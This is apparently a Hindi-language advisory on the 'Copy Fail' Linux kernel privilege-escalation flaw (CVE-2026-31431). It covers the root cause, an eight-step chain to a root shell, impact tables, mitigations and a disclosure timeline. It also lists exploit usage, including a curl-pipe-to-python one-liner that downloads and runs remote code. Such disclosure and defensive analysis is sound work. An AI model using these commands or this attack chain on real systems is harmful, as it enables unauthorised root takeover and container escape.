
# CVE-2026-31431 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट यह Linux कर्नेल में AF_ALG पेज कैश राइट के माध्यम से स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) का एक प्रूफ-ऑफ-कॉन्सेप्ट है, जो प्रमुख डिस्ट्रीब्यूशन पर रूट एक्सेस प्राप्त करता है।
algif_aead पेज कैश राइट ("कॉपी फेल") के माध्यम से स्थानीय विशेषाधिकार वृद्धि
लेखक: वैन ग्लेनडन एनाड
मूल खोज: थियोरी / ज़िंट कोड रिसर्च टीम (तायांग ली)
प्रकाशित: 29 अप्रैल, 2026
गंभीरता: उच्च
CVSS v3.1 स्कोर: 7.8
CVSS v3.1 वेक्टर: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-787 (आउट-ऑफ-बाउंड्स राइट), CWE-269 (अनुचित विशेषाधिकार प्रबंधन)
CVE-2026-31431, जिसे सार्वजनिक रूप से "कॉपी फेल" नाम दिया गया है, लिनक्स कर्नेल के algif_aead मॉड्यूल — कर्नेल के यूज़रस्पेस क्रिप्टोग्राफ़िक API (AF_ALG) का AEAD सिफर इंटरफ़ेस — में एक उच्च-गंभीरता वाली स्थानीय विशेषाधिकार वृद्धि (LPE) भेद्यता है। यह दोष 2017 में कमिट 72548b093ee3 के माध्यम से पेश किए गए एक प्रदर्शन अनुकूलन (इन-प्लेस ऑपरेशन) से उत्पन्न होता है, जिसने अनजाने में AEAD क्रिप्टोग्राफ़िक ऑपरेशन के दौरान पेज-कैश-समर्थित फ़ाइल पेजों को लिखने योग्य गंतव्य स्कैटरलिस्ट में रखने की अनुमति दी।
तीन कर्नेल सबसिस्टम — AF_ALG सॉकेट, splice() सिस्टम कॉल, और authencesn एल्गोरिदम का स्क्रैच-राइट व्यवहार — को जोड़कर, एक अन-प्रिविलेज्ड स्थानीय उपयोगकर्ता किसी भी पठनीय फ़ाइल के पेज कैश में नियंत्रित 4-बाइट राइट कर सकता है। /usr/bin/su जैसे setuid बाइनरी को लक्षित करते हुए, यह राइट डिस्क पर फ़ाइल को संशोधित किए बिना इन-मेमोरी निष्पादन योग्य छवि को दूषित कर देता है, जिससे ऑन-डिस्क फ़ाइल अखंडता उपकरण बायपास हो जाते हैं। root तक परिणामी विशेषाधिकार वृद्धि नियतात्मक है — कोई रेस कंडीशन, कोई प्रति-वितरण कर्नेल ऑफ़सेट, और कोई विशेष विशेषाधिकार आवश्यक नहीं हैं। एक सार्वजनिक रूप से जारी 732-बाइट Python PoC एक्सप्लॉइट उबंटू, अमेज़न लिनक्स, RHEL और SUSE पर एक ही अपरिवर्तित रन में रूट शेल प्रदान करता है।
यह भेद्यता लगभग नौ वर्षों से हर मुख्यधारा लिनक्स वितरण में चुपचाप मौजूद है। थियोरी के अनुसार, AF_ALG लगभग हर वितरण के डिफ़ॉल्ट कर्नेल कॉन्फ़िगरेशन में सक्षम है, जिसका अर्थ है कि सिस्टम के भेद्य होने के लिए किसी विशेष बिल्ड फ़्लैग या कॉन्फ़िगरेशन की आवश्यकता नहीं है।
लिनक्स कर्नेल AF_ALG सॉकेट इंटरफ़ेस (crypto/algif_aead.c) के माध्यम से यूज़रस्पेस को क्रिप्टोग्राफ़िक प्रिमिटिव प्रदान करता है। 2017 में, एक प्रदर्शन अनुकूलन मर्ज किया गया था जिसने algif_aead को AEAD ऑपरेशन इन-प्लेस करने की अनुमति दी — अनावश्यक डेटा कॉपी से बचने के लिए स्रोत मेमोरी बफ़र को गंतव्य के रूप में पुनः उपयोग करना।
दोष तब उत्पन्न होता है जब यूज़रस्पेस splice() सिस्टम कॉल के माध्यम से AF_ALG सॉकेट में इनपुट फीड करता है। इस मामले में, स्रोत स्कैटरलिस्ट में रखे गए पेज पेज कैश पेज होते हैं — स्प्लिस्ड फ़ाइल का समर्थन करने वाली साझा, कर्नेल-प्रबंधित मेमोरी। इन-प्लेस अनुकूलन के कारण req->src = req->dst सेट होने के कारण, ये पेज कैश पेज लिखने योग्य गंतव्य स्कैटरलिस्ट में समाप्त हो जाते हैं। authencesn एल्गोरिदम बाद में dst[assoclen + cryptlen] पर एक स्क्रैच राइट करता है, जो उन पेज कैश पेजों के भीतर एक ऑफ़सेट पर हल होता है — प्रभावी रूप से स्प्लिस्ड फ़ाइल की इन-मेमोरी छवि में हमलावर-नियंत्रित डेटा लिखता है।
क्योंकि पेज कैश पूरे होस्ट में साझा होता है, जिसमें कंटेनर भी शामिल हैं, एक प्रक्रिया से एक राइट उस फ़ाइल के कैश्ड पेजों को उसी कर्नेल पर चलने वाली हर प्रक्रिया और कंटेनर के लिए प्रभावित करता है।
algif_aead.c में आपत्तिजनक परिवर्तन ने req->src = req->dst सेट किया और sg_chain() के माध्यम से स्रोत स्कैटरलिस्ट से टैग पेजों को आउटपुट स्कैटरलिस्ट में जोड़ा:
/* 2017 in-place optimization — commit 72548b093ee3 */
req->src = req->dst; /* source == destination */
sg_chain(dst, n + 1, src_tag); /* tag pages chained into writable dst */
जब splice() का उपयोग सॉकेट में फ़ाइल फीड करने के लिए किया जाता है, तो स्कैटरलिस्ट पेज पेज-कैश-समर्थित होते हैं, निजी अनाम मेमोरी नहीं। उन्हें लिखने योग्य dst स्कैटरलिस्ट में जोड़ना इस धारणा का उल्लंघन करता है कि गंतव्य लिखने योग्य निजी मेमोरी है।
authencesn स्क्रैच राइटauthencesn टेम्पलेट dst[assoclen + cryptlen] पर एक अनुक्रम संख्या स्क्रैच मान (seqno_lo, AAD के बाइट 4–7) लिखता है। क्योंकि dst में अब स्प्लिस्ड फ़ाइल के पेज कैश पेज शामिल हैं, यह राइट फ़ाइल की इन-मेमोरी छवि के भीतर एक हमलावर-नियंत्रित ऑफ़सेट पर पहुंचता है:
/* authencesn scratch write — offset determined by assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* writes into page cache */
लिखे गए 4 बाइट seqno_lo के अनुरूप हैं, जिसे हमलावर sendmsg() के माध्यम से भेजे गए AAD पेलोड के माध्यम से नियंत्रित करता है।
AF_ALG socket (SOCK_SEQPACKET)
│
│ splice() — delivers file-backed pages into socket
▼
algif_aead in-place optimization
│ req->src = req->dst
│ page-cache pages land in writable scatterlist
▼
authencesn scratch write
│ writes seqno_lo at dst[assoclen + cryptlen]
│ = attacker-chosen 4 bytes at attacker-chosen file offset
▼
page cache corruption (no on-disk change)
फिक्स (a664bf3d603d) इन-प्लेस अनुकूलन को पूरी तरह से वापस ले लेता है — algif_aead अब हमेशा आउट-ऑफ-प्लेस संचालित होता है, एक अलग गंतव्य बफ़र आवंटित करता है। चूंकि स्रोत और गंतव्य अब अलग-अलग मैपिंग से आते हैं, src में पेज कैश पेज dst राइट पथ द्वारा कभी नहीं पहुंचे जा सकते।
पूर्वापेक्षाओं से उल्लेखनीय रूप से अनुपस्थित: नेटवर्क एक्सेस, कर्नेल डिबगिंग सुविधाएँ, CAP_SYS_ADMIN, प्री-लोडेड कर्नेल मॉड्यूल, या कोई पूर्व-मौजूद प्रिमिटिव। हमला सतह पूरी तरह से स्थानीय और आत्म-निहित है।
Step 1: Attacker opens an AF_ALG AEAD socket (SOCK_SEQPACKET)
│ autoloads algif_aead module; no root required
▼
Step 2: Attacker opens the target setuid binary (e.g. /usr/bin/su) for reading
│ only read permission needed
▼
Step 3: splice() transfers pages of the target file into the AF_ALG socket
│ page-cache pages now in the source scatterlist
▼
Step 4: In-place optimization fires: req->src = req->dst
│ page-cache pages enter the writable destination scatterlist
▼
Step 5: authencesn decrypt path performs scratch write at dst[assoclen + cryptlen]
│ attacker controls assoclen, cryptlen, and the 4-byte seqno_lo value
▼
Step 6: Controlled 4-byte overwrite lands in the page cache of /usr/bin/su
│ in-memory binary is patched; on-disk file unchanged
▼
Step 7: Attacker executes `su` — corrupted in-memory image runs as root
│ setuid bit preserved; kernel executes attacker-patched code
▼
Step 8: Root shell obtained — privilege escalation complete
कंटेनर वातावरण में, चरण 6 पेज-कैश भ्रष्टाचार को होस्ट और उसी कर्नेल को साझा करने वाले सभी सहोदर कंटेनरों तक फैलाता है, जिससे पूर्ण कंटेनर एस्केप संभव हो जाता है।
PoC (copy_fail_exp.py, 732 बाइट्स) केवल Python 3.10+ मानक पुस्तकालय मॉड्यूल का उपयोग करता है: os, socket, और zlib। एक्सप्लॉइट splice() के माध्यम से फ़ाइल पेजों को स्टेज करने के बाद AF_ALG सॉकेट में एक सटीक रूप से तैयार sendmsg() पेलोड का निर्माण और भेजता है।
/usr/bin/su ELF पैचडिफ़ॉल्ट PoC /usr/bin/su को लक्षित करता है। 4-बाइट राइट ELF बाइनरी के कैश्ड पेज में एक विशिष्ट निर्देश को पैच करता है — एक विशेषाधिकार-जांच शाखा या uid जांच को नो-ऑप या बिना शर्त जंप से बदल देता है — ताकि जब su बाद में निष्पादित हो, तो setuid निष्पादन वातावरण पैच किए गए कोड को root के रूप में चलाता है। भ्रष्टाचार गैर-स्थायी है: एक पेज निष्कासन या रीबूट मूल बाइनरी को पुनर्स्थापित करता है।
विशिष्ट पेज-कैश हमलों (जैसे, डर्टी COW) के विपरीत, कॉपी फेल को कोई रेस कंडीशन की आवश्यकता नहीं है। राइट पथ सीधा है: splice() → sendmsg() → स्क्रैच राइट। प्रत्येक कॉल नियतात्मक और सिंक्रोनस है, जिससे एक्सप्लॉइट हार्डवेयर, कर्नेल संस्करणों और वितरणों में अत्यधिक विश्वसनीय हो जाता है।
चेतावनी: यह PoC केवल शैक्षिक, अनुसंधान और अधिकृत परीक्षण उद्देश्यों के लिए प्रदान किया गया है। किसी भी सिस्टम के खिलाफ उपयोग न करें जिसके आप मालिक नहीं हैं या जिसके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
विहित PoC थियोरी द्वारा आधिकारिक रिपॉजिटरी में बनाए रखा गया है। यह एक आत्म-निहित, 732-बाइट Python 3.10+ स्क्रिप्ट है जिसमें कोई बाहरी निर्भरता नहीं है।
डिफ़ॉल्ट उपयोग (/usr/bin/su को लक्षित करता है):
python3 copy_fail_exp.py
कस्टम setuid लक्ष्य:
python3 copy_fail_exp.py /usr/bin/sudo
वन-लाइनर (आधिकारिक साइट से):
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
विहित PoC का SHA256:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
वही अपरिवर्तित स्क्रिप्ट सार्वजनिक रूप से उबंटू 24.04 LTS, अमेज़न लिनक्स 2023, RHEL 10.1 और SUSE 16 पर एक ही tmux सत्र में रूट शेल प्राप्त करते हुए प्रदर्शित की गई है।
सबसे महत्वपूर्ण प्रभाव वेक्टर मल्टी-टेनेंट वातावरण है: साझा विकास बॉक्स, Kubernetes वर्कर नोड्स, GitHub Actions सेल्फ-होस्टेड रनर, GitLab/Jenkins CI एजेंट, नोटबुक होस्टिंग प्लेटफ़ॉर्म, और सर्वरलेस वातावरण जहां उपयोगकर्ता-आपूर्ति कोड नियमित उपयोगकर्ता खाते के तहत चलता है। अनपैच्ड कर्नेल चलाने वाला ऐसा कोई भी वातावरण किसी भी उपयोगकर्ता द्वारा पूरी तरह से समझौता किया जाता है जो कोड निष्पादित कर सकता है।
कर्नेल को अपग्रेड करें मेनलाइन फिक्स कमिट a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 वाले संस्करण में:
हमले के पथ को उसके स्रोत पर अवरुद्ध करने के लिए algif_aead कर्नेल मॉड्यूल को अक्षम करें:
# Persist the block across reboots
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# Unload the module from the running kernel (if loaded)
rmmod algif_aead
यह क्या तोड़ता है: यह dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH, या मानक OpenSSL/GnuTLS/NSS को प्रभावित नहीं करता है। यह उन यूज़रस्पेस अनुप्रयोगों को प्रभावित कर सकता है जो स्पष्ट रूप से
afalgOpenSSL इंजन का उपयोग करते हैं या सीधेaeadसॉकेट बाइंड करते हैं। लागू करने से पहलेlsof | grep AF_ALGसे सत्यापित करें।
seccomp के माध्यम से AF_ALG सॉकेट निर्माण को ब्लॉक करें — अपने seccomp प्रोफ़ाइल में डेनी सूची में SOCK_SEQPACKET + AF_ALG जोड़ें।AF_ALG AEAD सॉकेट निर्माण का पता लगाने के लिए नोड-स्तरीय कर्नेल ऑडिट नियम तैनात करें।AF_ALG SOCK_SEQPACKET सॉकेट खोलती है — यह एक्सप्लॉइट का अनिवार्य पहला चरण है।AF_ALG सॉकेट उपयोग के साथ संयुक्त अप्रत्याशित su/sudo निष्पादन की निगरानी करें।कानूनी अस्वीकरण: यह विश्लेषण और प्रूफ ऑफ कॉन्सेप
| घटक | विवरण |
|---|
| प्रभावित सबसिस्टम | crypto/algif_aead.c — लिनक्स कर्नेल AF_ALG AEAD इंटरफ़ेस |
| भेद्यता प्रस्तुत | लिनक्स कर्नेल 4.14 (2017), कमिट 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| फिक्स्ड संस्करण | 6.18.22, 6.19.12, 7.0 |
| फिक्स कमिट | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| सत्यापित वितरण | उबंटू 24.04 LTS, अमेज़न लिनक्स 2023, RHEL 10.1, SUSE 16 |
| अप्रत्यक्ष रूप से प्रभावित | डेबियन, आर्क, फेडोरा, रॉकी, अल्मालिनक्स, ओरेकल लिनक्स, और 2017 से निर्मित कोई भी अनपैच्ड कर्नेल चलाने वाला कोई भी वितरण |
| आवश्यकता | नोट्स |
|---|
| स्थानीय अन-प्रिविलेज्ड उपयोगकर्ता खाता | कोई उन्नत अनुमति आवश्यक नहीं |
| 2017 से निर्मित कर्नेल (≥ 4.14) | प्रभावी रूप से सभी मुख्यधारा वितरणों को कवर करता है |
AF_ALG (CONFIG_CRYPTO_USER_API) सक्षम | लगभग सभी वितरण कर्नेल कॉन्फ़िगरेशन में डिफ़ॉल्ट |
algif_aead मॉड्यूल लोड करने योग्य/लोडेड | पहले AF_ALG सॉकेट निर्माण पर ऑटोलोडेड |
कम से कम एक पठनीय setuid बाइनरी | जैसे, /usr/bin/su, /usr/bin/sudo |
| Python 3.10+ (सार्वजनिक PoC के लिए) | केवल stdlib से os, socket, zlib |
| पैरामीटर | हमलावर नियंत्रण | तंत्र |
|---|
| लक्ष्य फ़ाइल | हमलावर के लिए पठनीय कोई भी फ़ाइल | splice() को पारित |
| राइट ऑफ़सेट | assoclen + cryptlen | sendmsg() में सॉकेट विकल्पों के माध्यम से सेट |
| राइट मान (4 बाइट) | seqno_lo | sendmsg() में AAD पेलोड के बाइट 4–7 |
| श्रेणी | विवरण |
|---|
| गोपनीयता | होस्ट पर सभी फ़ाइलों तक root के रूप में पूर्ण पढ़ने की पहुंच |
| अखंडता | मनमानी फ़ाइलें लिखने, बैकडोर स्थापित करने, /etc/passwd या /etc/shadow संशोधित करने की क्षमता |
| उपलब्धता | पूर्ण होस्ट अधिग्रहण; सेवा व्यवधान संभव |
| प्रमाणीकरण | स्थानीय उपयोगकर्ता खाते से परे कोई क्रेडेंशियल आवश्यक नहीं |
| कंटेनर एस्केप | पेज कैश होस्ट में साझा है — स्थानीय शेल वाला एक पॉड नोड से समझौता कर सकता है और टेनेंट सीमाओं को पार कर सकता है |
| CI/CD पाइपलाइन | सेल्फ-होस्टेड रनर पर निष्पादित एक अविश्वसनीय पुल रिक्वेस्ट रनर होस्ट पर रूट बन जाती है |
| स्थिरता | पोस्ट-एक्सप्लॉइटेशन: SSH कुंजी इंजेक्शन, क्रॉन जॉब्स, कर्नेल मॉड्यूल इंस्टॉलेशन — सभी आसानी से प्राप्त करने योग्य |
| फोरेंसिक चोरी | ऑन-डिस्क बाइनरी कभी संशोधित नहीं होती; फ़ाइल अखंडता मॉनिटर (FIM), AIDE, ट्रिपवायर को कोई परिवर्तन नहीं दिखता |
| वितरण | फिक्स्ड कर्नेल संस्करण |
|---|
| अपस्ट्रीम लिनक्स | 6.18.22, 6.19.12, 7.0 |
| उबंटू 24.04 LTS | विक्रेता पैच उपलब्ध — apt update && apt upgrade |
| अमेज़न लिनक्स 2023 | विक्रेता पैच उपलब्ध — dnf update kernel |
| RHEL 10.1 | Red Hat पैच प्रगति पर — अल्मालिनक्स ने अपस्ट्रीम फिक्स शिप किया |
| SUSE 16 | विक्रेता पैच उपलब्ध — zypper update kernel-default |
| तिथि | घटना |
|---|
| 2026-03-23 | थियोरी द्वारा लिनक्स कर्नेल सुरक्षा टीम को भेद्यता की सूचना दी गई |
| 2026-03-24 | प्रारंभिक स्वीकृति प्राप्त हुई |
| 2026-03-25 | कर्नेल अनुरक्षकों द्वारा पैच प्रस्तावित और समीक्षित |
| 2026-04-01 | मेनलाइन में फिक्स प्रतिबद्ध (a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 आवंटित |
| 2026-04-29 | copy.fail पर सार्वजनिक प्रकटीकरण; GitHub पर PoC प्रकाशित |
| 2026-04-30 | अल्मालिनक्स ने अपस्ट्रीम फिक्स का उपयोग करके पैच्ड कर्नेल शिप किया |
| 2026-04-30 | Microsoft सुरक्षा ब्लॉग, Sophos, Sysdig, Bugcrowd ने विश्लेषण प्रकाशित किए |
| 2026-05-01 | Kubernetes कंटेनर एस्केप PoC प्रकाशित |
| 2026-05-02 | स्वतंत्र विश्लेषण और दस्तावेज़ीकरण प्रकाशित |